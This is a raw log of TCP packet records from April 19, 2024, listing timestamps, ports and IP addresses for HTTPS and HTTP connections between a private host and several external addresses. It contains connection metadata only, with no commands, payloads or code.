Apr 19, 2024 03:28:14.465787888 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.872992039 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.920135021 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:14.997692108 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:14.997773886 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:14.998142004 CEST	49709	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:14.998208046 CEST	443	49709	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:14.998296022 CEST	49709	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:14.998544931 CEST	49709	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:14.998589039 CEST	443	49709	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:15.133758068 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.133821011 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.133841991 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.133892059 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.133912086 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.133955956 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.133982897 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.134021997 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.134025097 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.134025097 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.134026051 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.134052038 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.134064913 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.134093046 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.134114981 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.134128094 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.134253025 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:15.134339094 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.149897099 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:15.149944067 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:15.320208073 CEST	443	49709	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:15.320450068 CEST	49709	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:15.385950089 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:15.386001110 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:34.468430996 CEST	443	49709	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:34.468517065 CEST	49709	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:52.708223104 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:52.708260059 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:52.708328009 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:52.708919048 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:52.708933115 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.120843887 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.120949030 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.125181913 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.125204086 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.125614882 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.134411097 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.180135965 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510593891 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510647058 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510706902 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510714054 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.510761023 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510792971 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.510812998 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.510854006 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510899067 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510925055 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.510936975 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.510977983 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.510989904 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.511044979 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.511095047 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.515682936 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.515727043 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:53.515754938 CEST	49712	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:53.515770912 CEST	443	49712	13.85.23.86	192.168.2.5
Apr 19, 2024 03:29:03.068969965 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.069570065 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.313261032 CEST	80	49713	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.313384056 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.313673019 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.314997911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.315206051 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.315207005 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.557965994 CEST	80	49713	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.558506012 CEST	80	49713	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.558689117 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560514927 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560527086 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560641050 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560741901 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560781956 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560818911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560858011 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560897112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560897112 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560897112 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560897112 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560897112 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560935974 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560937881 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560945034 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.560977936 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.560997009 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.561017036 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.561031103 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.561055899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.561073065 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.561106920 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.805172920 CEST	80	49713	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806427002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806530952 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806543112 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806585073 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806602955 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806626081 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806647062 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806663990 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806684017 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806700945 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806720018 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806746006 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806756973 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806785107 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806802034 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806823015 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806838989 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806862116 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806879997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806899071 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806917906 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806938887 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806962013 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.806977987 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.806991100 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807015896 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807029963 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807054043 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807079077 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807092905 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807105064 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807133913 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807146072 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807174921 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807187080 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807213068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807230949 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807255030 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.807265997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.807306051 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.820668936 CEST	80	49713	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:03.820761919 CEST	49713	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:03.823647022 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.053028107 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053149939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053189993 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053204060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053204060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053229094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053241014 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053273916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053282976 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053312063 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053350925 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053389072 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053426027 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053456068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053456068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053456068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053456068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053462982 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053489923 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053499937 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053538084 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053538084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053550005 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053579092 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053596020 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053617954 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053643942 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053658009 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053663969 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053695917 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053713083 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053736925 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053749084 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053775072 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053788900 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053813934 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053822994 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053853989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053864956 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053891897 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053904057 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053930044 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053942919 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.053968906 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.053977966 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054007053 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054018021 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054047108 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054055929 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054085016 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054095984 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054122925 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054132938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054161072 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054173946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054199934 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054214001 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054238081 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054256916 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054276943 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054284096 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054313898 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054332018 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054352045 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054358959 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054388046 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054398060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054425001 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054438114 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054462910 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054476976 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054501057 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054512978 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054538965 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054548979 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054578066 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054589033 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054616928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.054635048 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.054672956 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.067054033 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.067151070 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.067647934 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.300152063 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300213099 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300252914 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300261021 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300292015 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300326109 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300355911 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300412893 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300416946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300474882 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300502062 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300539970 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300559044 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300578117 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300592899 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300616980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300628901 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300657034 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300673008 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300710917 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300770044 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300828934 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300884008 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.300945044 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.300998926 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301064968 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301093102 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301134109 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301151037 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301172972 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301186085 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301211119 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301227093 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301273108 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301383972 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301445961 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301469088 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301526070 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301548958 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301588058 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301605940 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301628113 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301640987 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301665068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301676989 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301702976 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301714897 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301743984 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301757097 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301783085 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301805973 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301820993 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301836967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301858902 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301871061 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301897049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301908016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301937103 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301948071 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.301975965 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.301991940 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302016020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302026033 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302054882 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302069902 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302093029 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302104950 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302130938 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302144051 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302172899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302187920 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302212000 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302227974 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302249908 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302261114 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302289963 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302305937 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302329063 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302340031 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302369118 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302380085 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302407980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302426100 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302445889 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302459955 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302484989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302503109 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302522898 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302536011 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302561045 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302572966 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302598953 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302609921 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302638054 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302649021 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302675962 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302687883 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302714109 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302731991 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302753925 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302767992 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302793026 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302812099 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302831888 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302845001 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302870035 CEST	80	49714	193.233.132.56	192.168.2.5
